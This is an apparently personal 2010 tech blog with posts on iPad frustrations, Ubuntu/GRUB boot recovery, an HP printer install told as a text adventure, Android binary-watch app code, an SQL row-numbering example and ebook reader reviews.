Interactive story book, with games and sing a-longs. Kids adored it, great graphics easy to use, intermixes actual film and audio clips. *FREE* 5 stars

I got a list of over forty by searching google for ipad must have apps, Expect more mini reviews soon.


iPad download manager fail
Sat, 14 Aug 2010 22:58:25 GMT
Appears there are not free iPad download manager apps that can download a PDF from a web site AND make it available in iBooks.
Found two that would download the PDF but then keep the file in there own apps areas with no export option.
They would of course happily open the PDF but then I am back to the same problem with apples built in PDF reader.
I am not willing to risk paying and it also not working.
Did you know the iPad does not come with a calculator ? odd.


my love hate hate ipad relationship
Sat, 14 Aug 2010 21:00:28 GMT
Work have given me an iPad, basic model 16gb wifi only, bit of a shock, they gave everyone one.
My like/dislike for this device goes up and down like a gymnast on a trampoline.
Dislike: its Apple (so much hate), forced me to get an iTunes account(even more hate), had to agree to numerous terms and conditions that were far to long to read.
Like: sexy, there is no doubt that the beast is nicely sized and has a beautiful screen.
Dislike: Cost, but of course for me it was free, so I am bit conflicted, maybe as free it is still too expensive ?
Like: battery life, its been used for four days and is still at 60% and colleagues have been running it over a week with no charge.
Dislike: comes with a USB cable and no power cable but can not be charged from the USB socket, uses a mains adapter for USB. 
Like: iBooks, free app for reading ebooks and PDFs makes me want to read the PDF version of tech books.
Dislike: Safari, ignoring the recent security issues and lack of flash support I tried to get the train time table. Did open the PDF from the train operators web site but after any action just hung. No problem I will just save the link to hard disk and load it into iBooks(see above), no can not do that.
Like: Screen resolution, video quality.
Dislike: Can not get many useful apps for free.
I wanted a simple SSH client, six clients available all cost...
Like: the possibility of free apps, I have a list to follow up on.
Dislike: I can not develop for the iPad, you still HAVE to develop on a MAC.
Like: smooth rotation even upside down.
Dislike: another shiny to take my focus away from ... well everything.

Expect lots of ipad tagged posts.


catistrophic mouse failure
Sat, 14 Aug 2010 10:14:10 GMT
Up until today I had a very nice Microsoft wireless mouse that has had only one battery change in 4 years and works perfectly in Linux.
Today I have Microsoft mouse that has an issue making it unusable, problem was not there yesterday is today.
So, do I need new drivers, replace the batteries or clean it?
Nope, none of those, today the entire rubber surround has degraded and become so sticky it is unpleasant.
Only reference online is http://social.answers.microsoft.com/Forums/en-US/vistahardware/thread/832bc523-aa4c-4ad4-83ec-a6d81bac4455
Time for a new mouse.


Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo
Thu, 22 Jul 2010 20:24:52 GMT
Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo
is perhaps the most important link you will click on today, oh and you WILL click on it!


glass football 720p great full screen
Wed, 21 Jul 2010 20:16:46 GMT
New video on YouTube
Rendered my football in 720p and as glass ;)
Looks great full screen.


revisiting Mikiks ufo adventure
Tue, 13 Jul 2010 22:50:56 GMT
Back in 2007 I released a JavaScript game that showed a UFO on the Microsoft Virtual earth.
About six months later it stopped working, I assumed it was due to the VE version being updated and that it would be a pain to debug and fix.
As I am doing a lot of mapping stuff I decided to have a quick look again and it was a really easy fix, just change the CSS z-index.
There was also a bug for Linux users that for security reasons the key presses never repeated. That meant you had to keep pressing rather than just hold the key as with windows users.
That was a relatively quick fix, just record when the key-down occurs, repeat the action every 30th of a second and wait for key-up.
For your amusement here is UFO adventure v2 revisited


blend 4 kicks me I kick vs2010
Fri, 09 Jul 2010 22:30:17 GMT
Been fighting visual studio 2010 and expression blend 4 today.
I beat vs2010 but blend4 beat me :(


highres football assets at deviantart
Fri, 09 Jul 2010 22:26:36 GMT
The high resolution football images are available
http://robdavis.deviantart.com/gallery/


nintendo sent me an email
Fri, 09 Jul 2010 22:09:15 GMT
Nintendo sent me an email, the body was fine but the subject readHello >mail merge<, you currently have >mail merge< Stars


High-res 3d football in blender aided by inkscape and gimp
Thu, 08 Jul 2010 21:20:12 GMT
Back in 2009 I wanted to create a mathematically perfect 3D football with blender.
I created a script that selected vertices before subdividing in the hope that then extruding and scaling those would create the hexagons.
Did you ever notice that footballs are not just hexagons ?
Still it did create this nice android wallpaper


Fast forward to last month and I was heavily involved with The world Cup Map a silverlight azure bing maps HD video experience that is currently linked too from the bbc world cup home page.
Being a large silverlight application it needed its own loading screen, we opted for a bouncing football. If we had had time I would have create and all dancing XAML ball, but due to time constraints we went with a stock image.

I wondered how easy it would be to blender up a nice football and went in search of flat image maps on google...
After a fair amount of searching I found a grand total of ... One

Slight problem was it was 128x128 pixels, not very detailed.

Inkscape to the rescue. I set the image as the background and over a few nights created a full vector based impression of the ball map, being very careful to retain the gaps between cells.
I then had lots of back-and-forth from inkscape - gimp - blender making sure all the edges were in the correct place, this took a substantial amount of time.
Finally I had a perfectly mapped football in blender but, I wanted more, more detail to be precise.

First attempt was bump mapping which fakes 3D, the results were not good, so I looked at the displacement modifier.
This creates real 3D topology in your mesh based on differences in the pixels in your Texture.

In Gimp I used the gradient fill (shaped) too convert all the hard lines into soft grey scale ones and applied a blur.
The displacement modifier needs a lot of blur or you get striking differences in height.
It got a bit messy here, but using gimp and the UV editor I managed to get the map to sit correctly and give the correct appearance.
From there I just added a quick random bump map to give the leathery appearance.

Download the 2.4mb blend file from blendswap it contains the high-res color map and displacement map.

Watch on YouTube

All the images are on flickr




Ubuntu hating the black screen
Mon, 28 Jun 2010 21:03:40 GMT
When I am not busy fixing problems caused by Ubuntu I like to take the time to shout at my machine...
Ubuntu completed updating to version 10, all seemed well, but ...
The machine would not boot. Grub would pop up and few lines of system messages before blackness and eventual a still hard drive.
My first though was to just leave it, but no it was no doing anything, Ctrl+Alt+Del worked, so I cycled it a few times.
By editing the Grub boot command I got rid of "quiet splash" and in its place put "nomodeset" (actually I tried a few other things first), this got me to see the failure point.
Checking Battery State [OK] which seems to affect ATI users mostly which meant lots of digging for Nvidia.
Turns out this is another well know and documented issue that Ubuntu/Canonical are in no hurry to fix.
First off I tried booting into single mode, change the Grub parameter from just "nomodeset" to "nomodeset single".
That got me a rather handy looking recovery menu with "Run in failsafe graphic mode", which dutifully loaded X and asked me if I wanted to reconfigure graphics settings, which I did, I really really did!
But it would just ask me the same set of questions before failing :(
So I tried again and selected "Drop to root shell prompt", woohoo some access, hang on, why is nothing I type coming up?
No characters were appearing as I typed and  pressing enter repeated the prompt with out any line breaks.
From my LPIC training I knew one magic word reset no, it does not reboot the computer but instead resets the graphic console. Very handy when you have just cat a binary.
From there I could finally.   sudo dpkg-reconfigure xserver-xorg  which wanted dpkg --configure -a
and thendpkg-reconfigure xserver-xorg
dpkg-reconfigure gdm
Then reboot, with "nomodeset single", "Drop to root shell prompt",reset and start gdm and everything worked again.
Phew!


they know about grub_getcharwidth but keep quiet
Thu, 24 Jun 2010 20:34:13 GMT
So Ubuntu killing two machines on install is not an unknown thing
https://help.ubuntu.com/community/Grub2#Selected%20Problems%20and%20Bugs

and it may have been festering since 2006
https://bugs.launchpad.net/ubuntu/+source/grub-installer/+bug/45989
https://bugs.launchpad.net/ubuntu/+source/grub-installer/+bug/46520
but is still prevailant today
https://bugs.launchpad.net/ubuntu/+source/grub2/+bug/414996

http://www.google.co.uk/#hl=en&q=+site:ubuntuforums.org+grub_getcharwidth&sa=X&ei=eLIjTOjGBpDw0wSTja38BA&ved=0CB0QrQIwAQ&fp=be8fd41e0a386f13

All I know is I will take extra care when using a so called safe live CD !!
p.s. a quick fsck later and the laptop booted, updating to ubuntu 10 now ...


ubuntu and grub2 kill innocent windows hard drive
Wed, 23 Jun 2010 23:21:13 GMT
Have you heard the Linux Live CD mantra ?
"A live CD will not and cannot affect your existing hard drive, EVER!"
Except with Ubuntu and its exploration using Grub2 (boot loader) which, in a specific set of circumstance will destroy the boot record!
My old Ubuntu laptop that has been updated many times and was suffering due to space restrictions. All I needed to do was wipe the hard disk and reinstall...
But, the network port was nuked by a bad cat5 cable(oops), the DVD drive seemed to work but will not boot, I have not seen a floppy disk for years and Ubuntu itself will not boot.
All I need to do is install Ubuntu onto the hard disk. Borrowed a 2.5 IDE USB enclosure only to find after prying it a part it was SATA.
Bought a PATA 2.5 case for £4 from amazon inc P&P, ripped out hard drive and ran Virtual Box with the Ubuntu 10 DVD cover disk and installed. Four hours later put hard drive back in laptop and not even Grub came up.
So downloaded Ubuntu 9 and 10 in CD ISO and burnt them to disks.
Put in Ubuntu 9 to Sarah's Windows XP machine and followed through the install wizard.
Before the installation begins a summary screen ensures the correct settings.
EVERY SETTING ON THE SUMMARY SCREEN WAS CORRECT.
So I left it installing, much quicker from CD, put hard drive back in the laptop and got a grub error
error: the symbol 'grub_getcharwidth" not found.
Odd, quick google showed this was not an uncommon error, but worse it advised the host machine may not boot.
Sure enough the windows machine would not boot, spent 2 and half fun hours trying to find the windows install CD that I had not used for over 4 years!
Eventually found ran recovery and fixmbr
One down one to got.
Rebooted from Ubuntu 9 live CD and followed through the install again. At the summary screen clicked advanced and found a hand pull down explaining it was about the wipe out the host hard drive even though the install was to the USB drive !
Changed it to the USB device and allowed it to install...
Checked windows booted OK [Check]
Put hard drive back in laptop and ...
Grub, Ubuntu, filesystem failed
doh!


the world cup map silverlight application
Sun, 20 Jun 2010 22:49:48 GMT
I may have had something to do with http://theworldcupdemo.com a silverlight blend of mapping and HD video, one word review 'slick'.
Find out more at http://www.earthware.co.uk


vim please do not auto indent
Sun, 06 Jun 2010 21:58:05 GMT
disable auto-indenting in vim for the file you are currently working on:setl noai nocin nosi inde= 
Pains me every time I copy and paste code.


where is the state of android, final in series
Sun, 06 Jun 2010 21:47:22 GMT
Now it is time for my the final part of my Android binary watch series.
Last time it seemed we were completing the final part of the application, adding an about box and handling screen rotation.
But what really polishes off the basic Android application is state. That is when you exit the application and restart (or, rather surprisingly rotate the screen) the settings are preserved.
private SharedPreferences UserPreferences;

/* Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    if (UserPreferences==null)
     UserPreferences = getSharedPreferences("[[YOUR PACKAGE NAME]]",MODE_PRIVATE );
    initialiseview();
}

/* onPause, onStop and onDestroy all need to save user preferences */
protected void onPause() {
    super.onPause();
    SaveUserPreferences();
}

protected void onStop() {
    super.onStop();
    SaveUserPreferences();
}

protected void onDestroy() {
    super.onDestroy();
    SaveUserPreferences();
}

/* save user preferences and the arrange new layout */
public void onConfigurationChanged(Configuration newConfig) {
    SaveUserPreferences();
    initialiseview();
    super.onConfigurationChanged(newConfig);
} 	

/* save preferences, which in this case is store to INTs */
private void SaveUserPreferences() {
    SharedPreferences.Editor ed = UserPreferences.edit();
    ed.putInt("LayoutMode", LayoutMode);
    ed.putInt("ShowCalculations", ShowCalculations);
    ed.commit();
}

/* get preferences, defaults provided if they do not exist */
private void RecoverUserPreferences() {
    LayoutMode = UserPreferences.getInt("LayoutMode", 2);
    ShowCalculations = UserPreferences.getInt("ShowCalculations", 0);
}
as noted in the comments, the 'state' of the app can be stored with just two integers. One for the if the seconds are displayed (LayoutMode) and one defining whether or not the calculations are displayed.

I have two more very keen Android ideas but only time will tell if I have any time ...

Expect to have a couple of videos of the app running on YouTube soon.


hp and the adventure of doom
Wed, 19 May 2010 23:04:07 GMT

You are in a dark room
There is a computer, a wireless router, a HP Photosmart C4700 wireless printer.
The computer is connected and working, the wireless router is connected and working.
The computer is connected to the wireless router via wifi.
The HP printer is not on.

Your exits are E
> Turn printer on
The HP printer advises you to RTFM

Your exits are E
> RTFM
The instructions are to install the software from CD first.

Your exits are E
> put CD in computer
The software is installing...
The software is reporting an error, but only after 10 minutes of CD activity.
The software is looking for solutions ...
The software has found a solution and reboots your machine...
The machine reboots and a new file is on the desktop called Resolution

Your exits are E
> Read Resolution
The resolution is to reboot your computer and restart the installation.

Your exits are E
> restart installation
The software is installing...
The software is reporting an error, but only after 10 minutes of CD activity.
The software is looking for solutions ...
The software has found a solution and reboots your machine...

Your exits are E
> Read error
The error reads C: invalid

Your exits are E
> mkdir e:\Virtual_C
e:\Virtual_C has been created

Your exits are E
> subst c: e:\Virtual_C
C: is now aliased to e:\Virtual_C

Your exits are E
> restart installation
An hour passes...
A notice appear that wireless configuration can not continue.

Your exits are E
> Connect printer
with what?

Your exits are E
> Connect printer to computer with USB cable
The printer has been connected
Installer installs even more software
time passes.
wifi tests show that the printer can not access the network.

Your exits are E
> Add WEP key
WEP key added
wifi tests show that the printer can not access the network.

Your exits are E
> Add MAC address to wifi router
You do not have the MAC address

Your exits are E
> look at printer
The printer has an LCD display with the following options
Scan
Photo
Copy

Your exits are E
> Press scan
The scan menu has an option for wireless, I suggest you try it.

Your exits are E
> Press wireless
The wireless menu has an option to print wifi configuration, I suggest you try it.

Your exits are E
> Press print wifi config
The printer is making a noise ...
An A4 sheet of paper with text on it falls to the floor.

Your exits are E
> look at paper
You look at the paper and see the MAC address.

Your exits are E
> Add MAC address
MAC address added the installation is testing the printer...
UDP port blocked

Your exits are E
> Disable firewall
Firewall is disabled
Printer is updating settings...
A blue screen appears and the machine reboots

Your exits are E
> East
You exit the dark room never to return.
Goodbye



face monkey get an OS lift
Sun, 25 Apr 2010 21:32:37 GMT
Speaking of silverlight
silverlightOS tries to be a complete virtual machine in your browser and one of the really clever features is the ability to load any silverlight so it was nice to see Face monkey in the default list!


silverlight sushi
Sun, 25 Apr 2010 21:26:43 GMT
New domain for the random silverlight bits.
slsushi.co.uk


Bye bye scribblenauts its be fun
Sun, 25 Apr 2010 21:16:30 GMT
Scibblenauts again.
Finally completed every single challenge once and it was some journey, from riding a bicycle past an angry bear, using black holes to rid myself of planes, creating zombies/vampires and all manor of creature to advanced roping of flying dinosaurs, assisting aliens and giants to wiping out rabid woodland creatures to driving at 88 mph while being stuck by lightning, the list goes on and on.
so have I completed the game ? well I unlocked all the unlockable characters (bar one) and all the music and all the backgrounds, but no.
There are 220 levels but to 'complete' the game and unlock the final character you have to play each level FOUR times.
Once to show you can complete it and three times in a row each time without reusing anything used in previous successful runs (you can use what items were summoned in the original completion run, but only once).
So technically you only have to create three lots of different objects even though you play the level four times.
So, for some of the levels I have got 'Gold star' for completing them three different ways but for others just completing in once was hard work. 
Three months on I have put down scribblenauts and moved on to Professor Layton and the Curious Village, thank you Jane !!


good old orange and the factory reset
Sun, 25 Apr 2010 21:02:44 GMT
FYI the following happened some weeks ago ...
I have been pretty heavy on Orange since I  so its nice to be able to give them some positive feedback.
after getting the latest DEXT update(automatically from Motorola) the screen intermittently would go very bright. a better way of describing the fault is high contrast. the phone has no contrast settings and the brightness controls made almost no difference. 
after searching online and finding nothing but a hard reset
1. Holding the Camera button while turning on your phone,
2. When prompted hit the Volume-Down rocker button to go into Recovery Mode.
3. After you get into Recovery Mode,
4. Press ALT+L to reset, then Menu+Back to reboot.
and that failing, I rang orange. none of the menu items mention a faulty phone but eventually I did get through to someone. we did a factory reset to no avail and she arranged for a new phone to be delivered within 24hrs and for the old one to be picked up, no fuss no muss.
And that is what happened, now I just need to rebuild all my settings and install my favourite apps.


About and about re-orientating binary watch
Wed, 21 Apr 2010 08:23:25 GMT
The about screen was very easy to addimport android.app.AlertDialog;

private void AboutDialog()
{
	new AlertDialog.Builder(this)
	.setTitle("About Binary Watch")
	.setIcon(R.drawable.watch_dialog_icon_32x32)
	.setMessage("Binary Watch is my homage to the Samui Moon\n\nHere you can also show the seconds and the calculations.\n\nI could have used a photo but decided instead to render a faxsimlie using blender www.blender.org and www.gimp.org.\n\n Now when someone asks me how to read my watch I just show them my phone :)\n\nwww.jumpstation.co.uk ")
	.setPositiveButton("OK",
	new DialogInterface.OnClickListener()
	{
		public void onClick(DialogInterface dialoginterface, int i)
		{
		}
	})
	.show();
}
Then on to rotation, which sounds really simple, registers some kind of event handler that fires on rotation of the phone. NO!
When the phone is rotated (and you allow the screen to re-orientate) your application is killed and re-launched with a different screen resolution(i.e. landscape instead of portrait).if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE)
{
	setContentView(R.layout.main_landscape);
} else if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_PORTRAIT)
{
	setContentView(R.layout.main_portrait);
}
Which worked fine, but lost all the users settings.
Next time I will look at how state is saved between transitions and even new instances.


Hacking android iconography
Sun, 18 Apr 2010 22:31:03 GMT
It has been a while since my ilast post regarding Android and the Binary watch application. This was due to a Wedding, a holiday and getting a new job.
So next up in my requirements was icons.
There are a lot of icons included in the standard Android OS for developers to make immediate use of (note the differences in Android releases), but none quite matched my iconography needs.
In the Android icon guidelines are details about size, layout, colour and I did try to follow them.
The results were UGLY so a quick play in gimp got my some nice bitmaps of the right size but that were not grey scale.



easy android its just a menu
Mon, 22 Mar 2010 22:32:32 GMT
Menus in Android applications all have the same GUI look & feel via some very handy APIs.
/* Creates the menu items */ 
public boolean onCreateOptionsMenu(Menu menu) {
    menu.add(0, MENU_SECS, 0, "Seconds").setIcon(R.drawable.android_icon_seconds);
    menu.add(0, MENU_TEXT, 0, "Calculations").setIcon(R.drawable.android_icon_calculations);
    menu.add(0, MENU_INFO, 0, "About").setIcon(android.R.drawable.ic_menu_info_details);
    return true;
}

/* Handles item selections */
public boolean onOptionsItemSelected(MenuItem item) {
    switch (item.getItemId()) {
        case MENU_SECS:
        ToggleSecondsDisplay();
        return true;
        case MENU_TEXT:
	ToggleText();
	return true;
	case MENU_INFO:
	AboutDialog();
	return true;
    }
    return false;
}
Does not get much simpler than that.
There are some nice tutorials and google have lots of details on the icon requirement.
The same is true of application icons but in the end I just scaled a screen shot of the application to 32x32.


what version is the android
Mon, 22 Mar 2010 22:02:23 GMT
It was all working so perfectly in the emulator and after a few minutes reading signing documentation I realised that eclipse would do everything for me an created an .APK file.
Copied it to the phone and used AndroZip to install.
Default Android icon appeared and I tapped it to start ... oh dear!
All the LED's were in the wrong place and the  composited image was scaled badly!
What had gone wrong ?
I had assumed that due to the date I received my phone that it would be running Android version 1.6 and so had set the emulator up as 1.6.
The DEXT is currently running 1.5 (update expected Q2 2010) and appears to do screen scaling slightly differently.
Android version history
After I configured the emulator to run Android 1.5 it clearly showed the issues seen on the phone so I rejigged my layout from relative to absolute.
Now that works I need a few extras:
Menu - turn the seconds and calculation on and off and an 'About' screen.
Icons - for the menu
Icon - for the application
Rotation - rework the layout when the phone is in landscape vs portrait mode.


another row of LEDs for seconds via countdowntimer
Sun, 14 Mar 2010 22:33:51 GMT
Imported the composited image back into eclipse and my work was done (after I shifted the LEDs to fit).
But I wanted more, why show just the hours and minutes when the code could be called to generate just one more line of six LEDs and show the seconds ?
Added the few lines to add the LEDs and then calculate the correct value and ... I hit a road block.
There are plenty of examples using the TICK code but that only fires once a minute.
Out of a number of solutions I decided on the simplest to implemented.
RepeatTimer SecondTimer;
SecondTimer = new RepeatTimer(1000,200);
SecondTimer.start();

The 1000 is the total number of milliseconds that the CountDownTimer is due to run and the 200 is the number of ms before an event is fired.
I use the event to update the seconds, if it was once a second then the display may not update.
When the count down is completed simply restart it.

public class RepeatTimer extends CountDownTimer {

	public RepeatTimer(long millisInFuture, long countDownInterval) {
		super(millisInFuture, countDownInterval);
	}

	@Override
	public void onFinish() {
		this.start();
	}

	@Override
	public void onTick(long millisUntilFinished) {
		Time time = new Time();
		time.setToNow();
        	UpdateLEDS(LLSeconds,DecToBin( time.second,6));
        	if (LLTextForm.getVisibility()==View.VISIBLE) {
        		TVSeconds.setText(DecToCalcString( time.second,6));
        	}
	}
}



the gimp composite from blender and inkscape made all dirty
Sun, 14 Mar 2010 22:16:33 GMT
Although the initial renderings looked good they still needed the face added and to be 'dirtied up'.
I remember seeing a interview regarding the original Toy story and how the most time was spent 'dirtying-up' all the sets. It is easy to render a perfect ball but, it takes a lot of work to make that ball appear photo realistic due to the imperfect nature of actual 'things'.
I also noted that the rendered watch case looked good with a main light source at the top but it appeared harsh and 'false'. Re-rendered the image with the light at the bottom but layered the two renders together. the result is a huge improvement(see the side by side images below).
After applying the dirt I also added very simple detail to the circuit board entities, some text of the ICs and shading for the resistors.



inkscape and the simple circuit
Sun, 14 Mar 2010 21:52:33 GMT
ne of the key objectives of this project was not to create a duplicate of the samuimoon binary watch but, to recreate it.
Hence the watch case strap connectors are not 'square' and the face is different.
I did not look at the watch while creating the face, I just concentrated on the fact that the face was a circuit board and that it was not very prominent.
The next open source tool I used was inkscape. I created two layers one for the track, which was just a collection of lines with terminating circles and 45(ish) degree bends. 
The second layer was for the resistors and ICs, very simple and then duplicated to appear at the end of common tracks.
The vector nature of inkscape allowed me to tweak this basic idea until I exported it to gimp for the final composite.



blending the binary watch body
Sun, 14 Mar 2010 21:33:25 GMT
It was time to start making it look pretty.
Using blender was quick and relatively painless. A quick curve (2D shape) that represented the outline of a cross section of the watch case was rotated (as a mesh) to create the circular component. Then another curve extruded created the strap attachments and finally the strap itself is created in the same way.
The end pieces were further refined and hole 'dug' out for the strap to attach.
The black leather is lumpy (normals) noise and the metal has subtle amounts of noise to give it a slightly 'brushed' look.
I almost forgot the buttons which are just cylinders with smoothed ends.



let the binary clock coding begin
Sun, 14 Mar 2010 21:03:36 GMT
First steps where to create an image of a circle, a lit LED and an unlit LED.
Gimp made short work of those and the eclipse Layout manager allowed me to mock up the layout.
Now I had the watch (as a circle set as the background) and code that set the LEDs to either on or off.
Found the android SDK alarm clock code and it is really easy to hook into the system TICK event/notification/intent.
IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_TIME_TICK);
getBaseContext().registerReceiver(mIntentReceiver, filter, null, mHandler);
		
/*
* Event handler, time_tick etc
* replicated from AnalogClock.java
*/
private final BroadcastReceiver mIntentReceiver = new BroadcastReceiver() {
@Override
	public void onReceive(Context context, Intent intent) {
		onTimeChanged();
	};
	onTimeChanged(); does some simple bit shifting to identify which LEDs should be on and off.


The journey begins what is samui moon to me
Sun, 14 Mar 2010 20:50:26 GMT
So what am I up against?
The SamuiMoon binary watch from 01theone.com has changed over the years. 
There were a number of main components I wanted to retain for my Android app.
One: four blue lights to determine the hour and six to define the minutes.
Two: a circuit board back drop.
Three: Metal case and black leather strap.
Four: Some easy way of calculating the time from the display. the real one has tiny numbers under each LED.



Android binary watch for sloths
Mon, 08 Mar 2010 22:06:39 GMT
Android is the new *shiny* for me and as such I have felt compelled to create a simple application for my new phone.
It falls squarely into the "sloth is the mother of invention" category. A binary watch simulator with additional calculations and seconds.
This way when someone asks me about my watch I can just show them my phone instead of trying to explain why reading binary is OK.
It was quite a journey, so I hope to entertain you as I recount it.


we are all doomed
Fri, 26 Feb 2010 23:21:26 GMT
"This is not a question of personal freedom, social interaction or fear of 
hackers, this is economics. How long before the data is mined and will they 
tap your vein."
I should write a book...


how nice is kmail
Mon, 22 Feb 2010 21:43:20 GMT
How nice is KMail ?
Considering how many years I have been using it (8+) I did think it was quite nice. Always seemed to have all the functions I needed and allowed me to do off the beaten track things like JavaPopper
Things started to go a bit slow, which is very unusual for my gentoo machine, in fact at one point the hard drive would not stop, everything hung and I could not ssh in.
On rebooting I started up all my terminals and kmail and xchat and ... hmm kmail is churning a lot. Kmail is still quite unresponsive. A quick renice got me off the hook for another melt down and once kmail had calmed down I deleted 40,000 messages out of my spamassin folder.
Bare in mind all those emails were training spamassin not mis-tag any messages. Restarted kmail and everything has been fine since. But it has got me thinking.
Of course the problem with using one email client for eight plus years is that the mail just builds up and up. It appears that 50,000 mails in one folder, plus large amounts spread over 20+ folders is just a little too much for old kmail.
I have started investigation into moving to thunderbird the mozilla foundations email client.


Where are all the Android ebook readers when you need them
Thu, 18 Feb 2010 21:58:02 GMT
Mr BagofSpoons recently mentioned reading ebooks on a smart phone and I realised this would alleviate my issues with print media.
So off I trotted to the  Android app store/market to find the search function had been removed. Rather than use the phones market place app I turned to http://uk.androlib.com and began my quest.
Now to me, ebooks equals either proprietary binary/DRM infested file formats such as the Kindle uses or PDF (Portable Document Format). Although there were a fair few results in a search for "PDF", only a few were readers and most seemed to upload any PDF you wanted to read to a web service that returned html. The remaining few failed miserably when I downloaded them and tried to read a PDF ebook.
Not having ever looked at this domain of entertainment I was quite taken aback from all the ebook formats that books are available in from plain text to epub and fb2.
Searching on these revealed many more applications each with varying reviews and features. I downloaded four based on reviews and format support.

Compact reader was the only one that worked out of the box, that was, to load the file I specified without changing any settings.
It happily allowed me to read the beginning of Cory Doctorow: Makers, saving place when exiting and allowing me to continue on reopening. You can not change the brightness in this app but, it is possible to set the colours to something less glaring than black on white. I needed to bump up the font size to make it readable on the vibrating train.
The two down sides to Compact reader is the limited format support, plain text only and word wrap is missing, which seems to not be to bad until you get to a word that when split is still a valid word e.g.
on the other hand, at least the down
load had started and the drinks were flow
It also had the handy habit of slightly re-positioning it self when you scrolled backwards so cut of words and sentences were on a full page if you cajoled it.

The next one I got working was Aldiko. It came with "the art of war" and "The invisible man" ready to read but I wanted more Cory Doctorow: Makers.
This time it was all about epub. Had to use AndroZip to copy my file into "/sdcard/eBooks/import" and then choose import from the menu. The spinner came up indicating it was loading but then just a blank screen.
This is a full size book so I decided to give it a few moments before I gave up and low and behold with no warning the title page appeared.
This app has lots of ways to move through the pages, left-right swipes, edge taps and physical volume up/down buttons. It also has brightness control and a day/night feature for black on white or visa versa.
The number one feature was word wrap (see above) this made it a joy to read with. It correctly remembered my place in the book on exit and has numerous other features like downloading ebooks from feedburner etc.

FBReader would only handle .fb2 formatted ebooks and would only read said file from /sdcard/Books. Again it supported day/night mode and font style/size but, no brightness. The screen was highly readable with text wrapped nicely, working bookmarks and quick to load up.
What was slightly strange compared to the Aldiko was the page progression processes, instead of flicking right to left or clicking the screen, you drag up the screen. Which actually produces quite a pleasant experience ( you can also set horizontal scrolling in the preferences).

Last was Wordoholic Reader. After a number of tries at getting it pointed at the folder containing the ebooks I gave up and uninstalled and reinstalled (there was a newer version). This gave me the default settings including its preferred folder '/sdcard/wordoholic-read', so I copied my book files over and ... no titles found.  So I emailed the developer.
He replied in minutes and boy did I feel stupid, appears there is a "Refresh" button that must be selected in the "My Books" section, but strangely the same option is not available on the main screen or the titles area in "My Books", which is where it actually tells you there are no books (or lists the titles).
So it read my .fb2 file which displayed fine but what was a bit odd was the navigation. No swiping, scrolling or tapping, the only way to move forward or backward through the pages is via the physical volume buttons. Unfortunately this buttons are under the phone and quite inaccessible when in landscape mode.

My adventure is over, a clear winner has emerged and I have now read over half of Cory Doctorow: Makers on the train with it.
Aldiko !
What is interesting about the various ebook readers is not their ability to display (or not) ebooks for reading but, instead the provision for other functionality, that I was wholly uninterested in.
Wordoholic Reader was designed to translate selected words and store them for later expansion, Aldiko wants to be a one stop shop for getting and managing ebooks and FBReader is the open source "extend me" contender with Compact reader trying to be simple.

And I still want a PDF reader that treats the PDF like a book for reading rather than a large image that has to be scrolled. Maybe I should write my own.


Creating a row count column in SQL
Wed, 17 Feb 2010 21:00:26 GMT
SQL is a fun language (I mean TSQL) in that it fights any attempt to act on individual records/rows/values and forces you to deal with transactions on data sets or batches. Of course you CAN update or delete or insert ONE record but the way the server handles it is no different than you were actioning more than one.
I had the need to access data from a table in SQL where only the data from rows n - m were required and the answer was not intuitive so an example is presented here for reference.

SELECT SUB.ROW,* FROM Table T 
INNER JOIN 
(
SELECT ROW_NUMBER()
OVER (ORDER BY ID) AS ROW,
ID AS [ID]
FROM Table 
) SUB ON T.ID = SUB.ID
WHERE SUB.ROW BETWEEN 150 AND 200

So thats;
Select the sub query column ROW and everything from table.
Creating the sub query as a simple two column view with column one being the row counter.
Joining the main Table to this sub query using the common ID column.
Finally limiting the results based on the row number.


Certified Novell Linux Administrator in exchange for nothing
Fri, 12 Feb 2010 23:41:15 GMT
Would you believe that as of three days ago I am now a 
Novell Certified Linux Administrator (Novell CLA)
SUSE Linux Enterprise 11
If you had asked me last week how my studies were going I would have given you a blank expression. You see, I did not get this award from hitting the books, completing tests or even hacking scoring systems.
This was a freebie. Novell are cross partnering with the LPI and recognise that in becoming a LPIC-1 satisfies all the same requirements as a Novell CLA.
Not sure how I feel about this, on one hand I get a nice certificate and another title to add to my CV but, surely I should have had to do something to prove that after all this time I am still worthy !?
"Never look a gift certification in the mouth"


Steven King is redeemed under the dome
Fri, 12 Feb 2010 23:21:33 GMT
I really did not like the last Stephen King book I read but, I had a WHSmith voucher and apart from some science putty nothing else appealed.
Under the Dome is quoted as taking 25 years to write and it is excellent writing.
The premise is simple, a small American town is encased in a transparent dome/force field and has to cope with the human element while dome cuts them off from the rest of the world.
The military on the outside is constantly testing the domes integrity, no on knows what is causing the dome but, everyone is guessing. Religion is no comfort as the air in the dome gets worse and supplies start to dry up. Not necessary because there are none but that certain types are hoarding and not the supplies you might think are important.
Even before the dome descends, people are being murdered, under the dome trouble escalates at a pace.
It is very easy to find distinct patches of writing that echo previous Stephen King novels but, they are the good bits!
SK shows his is the master of writing interconnecting, weaving tales with complex, interesting and developing characters.
Recommend.


Where are all the animated boot loaders
Sun, 07 Feb 2010 23:18:27 GMT
I do not know why but, both the Android phones (well mine) and the iPhone have non animating boot screens.
Once you know this and are prepared its is no problem but, for both of us with our respective phones it was a worrying 30 seconds thinking the phone had failed.
Is it really too difficult to but a 'progress bar', 'hour glass', 'spinning disk' or 'scrolling kernel messages'.
At least the DEXT comes with a standard USB cable for charging and not a random proprietory docking port like the iPhone.
Speaking of the iPhone, Sarah has download a total of One app free from the app store. It was Tic Tac Toe as Alex was showing an interest in playing it (on paper) after playing with it a couple of times it now demands to be upgraded, for a price of course.
I will let you draw your own conclusions. As I have not got (and with any luck never have) an iTunes account I can not see any contents of the infamous app store so I can only comment on what others choose to install.


good the bad and the ugly DEXT part review
Sat, 06 Feb 2010 22:37:45 GMT
There is no doubt, I am loving my DEXT Android phone but, it is not perfect so I am going to try and point out faults every time I start praising its amazingness.
+ The power button allows quick access for enabling/disabling wi-fi/GPS/bluetooth etc.
- The power button that you need to use to turn on/off wi-fi/GPS/bluetooth etc is directly opposite the volume up/down buttons and it is easy to either pump up the volume or knock it dead when you are trying to hold down the power button(quick press is screen blank/lock).

